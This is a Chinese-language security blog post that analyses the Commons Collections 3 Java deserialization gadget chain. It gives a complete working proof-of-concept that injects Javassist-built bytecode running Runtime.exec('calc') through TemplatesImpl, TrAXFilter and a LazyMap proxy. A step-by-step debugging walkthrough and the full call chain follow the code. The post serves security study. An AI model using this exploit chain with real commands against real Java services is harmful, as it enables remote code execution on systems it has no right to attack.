Java安全之Commons Collections3分析

Java安全之Commons Collections3分析

文章首發:Java安全之Commons Collections3分析html

0x00 前言

在學習完成前面的CC1鏈和CC2鏈後,其實再來看CC3鏈會比較輕鬆。CC1的利用鏈是java

Map(Proxy).entrySet()觸發AnnotationInvocationHandler.invoke(),而CC2鏈的利用鏈是經過InvokerTransformer.transform()調用newTransformer觸發RCE。這裏就不說這麼詳細感興趣能夠看前面幾篇文章。據說CC3鏈是CC1和CC2鏈的結合體。下面來分析一下CC3鏈。apache

0x01 前置知識

在CC3利用鏈的構造裏面其實沒有用到不少的新的一些知識點,可是有用到新的類,仍是須要記錄下來。數組

InstantiateTransformer

首先仍是查看一下構造方法。安全

在查看下面的代碼的時候會發現他的transform方法很是的有意思。
app

transform方法會去使用反射實例化一個對象而且返回。ide

TrAXFilter

查看TrAXFilter的構造方法,會發現更有意思的事情學習

_transformer = (TransformerImpl) templates.newTransformer();

調用了傳入參數的newTransformer()方法。在CC2鏈分析的時候,使用的是反射調用newTransformer,newTransformer調用defineTransletClasses()。最後再調用_class.newInstance()實例化_class對象。那麼若是是使用TrAXFilter的話,就不須要InvokerTransformertransform方法反射去調用了。this

0x02 POC分析

package com.test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections333333333");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");


        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap= LazyMap.decorate(map,chainedTransformer);

        Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(object);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

上面是一段POC代碼,先來分析一下,POC爲何要這樣去構造。3d

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

先來執行一遍看一下執行的結果

可以執行成功而且彈出計算器。

其實看到代碼前面部分,和CC2利用鏈的構造是如出一轍的。在CC2鏈中分析文章裏面講到過。這裏就來簡單概述一下。

Java安全之Commons Collections2分析

這裏是採用了Javassist方式建立一個類,而後設置該類的主體爲Runtime.exec("clac.exe"),設置完成後,將該類轉換成字節碼。

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templatesImpl,"test");

反射獲取TemplatesImpl類的_bytecodes成員變量,設置值爲上面使用Javassist類轉換後的字節碼。

反射獲取TemplatesImpl類的_name成員變量,設置值爲test。

Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
        };
 ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

ConstantTransformer在調用transform方法的時候,會遍歷的去調用數組裏面transform方法。而且將執行結果傳入到第二次遍歷執行的參數裏面。

第一次執行this.iTransformers[i]ConstantTransformer。因此,調用的是ConstantTransformertransform方法該方法是直接返回傳入的對象。這裏返回了個TrAXFilter.class對象。

而在第二次遍歷執行的時候傳入的就是TrAXFilter.class對象,而後再反射的去獲取方法,使用newInstance實例化一個對象而且進行返回。

Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);

這裏是將上面構造好的ChainedTransformer的實例化對象,傳入進去。在調用lazyMap的get方法的時候,就會去調用構造好的ChainedTransformer對象的transform方法。

那麼下面就會引出lazyMap的get方法的調用問題,再來看下面一段代碼。

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
        Object object=constructor.newInstance(Override.class,map1);

反射建立了一個AnnotationInvocationHandler對象,傳入Override.classlazyMap的對象,並使用AnnotationInvocationHandler做爲調用處理器,爲lazyMap作一個動態代理。關於這裏爲何要傳入一個Override.class的問題,其實由於AnnotationInvocationHandler原本就是一個處理註解的類,構造方法的第⼀個參數是⼀個Annotation類類型參數,第二個是map類型參數(全部的註解類型都繼承自這個Annotation接口)。在這裏面無論傳入的是Retention.class仍是Override.class都是可行的。

這的lazyMap做爲被代理的對象後,調用任意的方法都會去執行調用處理器的invoke方法。AnnotationInvocationHandler實現了InvocationHandler ,能夠被看成調用處理器傳入。而咱們在這時候調用lazyMap的任意方法的話,就會執行一次AnnotationInvocationHandler中的invoke方法。而在AnnotationInvocationHandlerinvoke方法中就會調用get方法。

在調用get方法後又回到了前面說到的地方,這裏就會去調用transform方法去完成後面的命令執行。這裏先不細說。

在分析完POC代碼後其實並無去看到一個完整的調用鏈,這裏有必要去調試一遍。

0x03 CC3鏈調試

先在AnnotationInvocationHandlerreadobject方法中去打個斷點進行調試分析

在這裏能夠看到這裏的this.memberValues的值爲被代理的lazyMap的對象,調用了lazyMapentrySet方法。那麼這時候被代理對象的調用處理器的invoke方法會執行。前面說過使用的AnnotationInvocationHandler做爲調用處理器,這裏調用的就是AnnotationInvocationHandlerinvoke方法,跟進一下invoke方法。

invoke方法在內部調用了lazyMap的get方法,再來跟進一下get方法

到這裏其實就能看到了 this.factory.transform(key);,調用了transform方法,在這裏的this.factoryChainedTransformer的實例化對象。再來跟進一下transform方法就能看到ChainedTransformertransform內部的調用結構。

在POC構造的時候爲ChainedTransformer這個對象傳入了一個數組,數組的第一值爲ConstantTransformer實例化對象,第二個爲InstantiateTransformer實例化對象。

因此在這裏第一次遍歷this.iTransformers[i]的值爲ConstantTransformerConstantTransformertransform會直接返回傳入的對象。在POC代碼構造的時候,傳入的是TrAXFilter對象,因此在這裏會直接進行返回TrAXFilter,而且會做爲第二次遍歷的傳參值。

而在第二次遍歷的時候,this.iTransformers[i]的值爲InstantiateTransformer的實例化對象。因此調用的是InstantiateTransformertransform方法而且傳入了TrAXFilter對象。跟進一下InstantiateTransformertransform方法。

這裏實際上是比較有意思的,剛剛傳入的是TrAXFilter對象,因此這裏的input爲TrAXFilterthis.iParamTypesTemplatesthis.iArgs爲構造好的惡意TemplatesImpl實例化對象。(這裏之因此說他是惡意的TemplatesImpl對象是由於在前面使用反射將他的_bytecodes設置成了一個使用javassist動態建立的惡意類的字節碼)

transform方法中使用getConstructor方法獲取TrAXFilter參數爲Templates的構造方法。

使用該構造方法建立一個對象,而且傳入惡意的TemplatesImpl實例化對象。在該構造方法當中會調用TemplatesImplnewTransformer方法。跟進一下newTransformer方法。

newTransformer方法內部調用了getTransletInstance方法再跟進一下。

這裏能夠看到先是判斷了_name的值是否爲空,爲空的話就會執行返回null,不向下執行。這也是前面爲何使用反射獲取而且修改_name值的緣由。

下面一步是判斷_class是否爲空,顯然咱們這裏的_class值是null,這時候就會調用defineTransletClasses方法,跟進一下。

下面標註出來這段是_bytecodes_class進行賦值,這裏的_bytecodes的值是使用javassist動態建立的惡意類的字節碼 執行完後,來到下一步。

這裏會對該字節碼進行調用newInstance方法實例化一個對象,而後就能夠看到命令執行成功。

關於這個爲何調用newInstance實例化一個對象,命令就直接執行成功的問題,其實個人在CC2鏈分析裏面也說到過,主要仍是看使用javassist動態建立一個類的時候,他是怎麼去構造的。

ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));  payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 
payload.writeFile("./");

先將該類寫出來到文件中,而後再去查看。

看到這個其實就一目瞭然了,使用setBody設置主體的時候,代碼實際上是插入在靜態代碼塊中的。靜態代碼塊的代碼在實例化對象的時候就會進行執行。

調用鏈

AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(構造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(動態建立的類)cc2.newInstance()->Runtime.exec()

0x04 結尾

其實在調試CC3這條利用鏈的時候,會發現前半部分使用的是CC2利用鏈的POC代碼,然後半部分則是CC1的利用鏈代碼。調試過這兩條利用鏈的話,調試CC3這條利用鏈會比較簡單易懂。

在寫這篇文的時候,第一次剛碼完字,電腦就藍屏了。從新打開文件的時候,文章的文件也清空了。只能重寫一遍,可是重寫完後,發現雖然字數也差很少,可是感受細節點的地方仍是少了東西,可是又不知道具體在哪些地方少了。

相關文章
相關標籤/搜索